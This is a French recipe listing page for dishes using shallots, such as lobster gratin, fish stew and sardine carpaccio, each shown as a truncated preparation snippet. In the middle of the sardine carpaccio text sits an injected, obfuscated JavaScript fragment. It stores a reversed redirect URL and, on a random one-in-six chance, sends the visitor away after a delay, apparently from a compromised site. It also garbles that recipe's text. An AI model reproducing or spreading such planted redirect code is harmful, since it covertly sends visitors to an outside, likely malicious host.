Recipes from Ingredient: Echalotte

Gratin de homard

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Faire cuire la chair de homard pendant 15 minutes dans une eau bouillante salée. pelez ...

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Marmite de poissons

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Grattez,  rincez les moules. Coupez le saumon et le cabillaud en morceaux. Pelez, émincez les ...

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Acras de morue

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Dans un récipient d’eau froide, plongez le filet de morue et faites les  dessaler la ...

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Pavés de saumon avec une compote de pommes et fenouil

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Rincez, séchez, émincez le bulbe de fenouil. Pelez, émincez l’échalote. Dans une eau bouillante salée.

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Carpaccio de sardines à la ciboulette

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Égouttez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates pelées. Dans un récipient mélangez 4 ...

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Saumon en papillotes

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Rincez, séchez les darnes de poisson. Coupez le poireau en deux dans le sens de ...

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Veau sauté avec des endives

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Pelez, émincez l’oignon ainsi que l’échalote. Coupez en deux l’ail. Ôtez le germe et l’écraser. ...

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Hachis Parmentier

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Pelez, rincez, et coupez les pommes de terre en petits cubes. Dans une casserole d’eau ...

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Harengs en papillotes

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Retirez les arrêtes des harengs. Faire cuire les œufs  pendant 8 minutes. Les écaler, les  ...

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Dorade au fenouil

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Écaillez la dorade, la vider par les ouïes, rincez, épongez, salez et poivrez.

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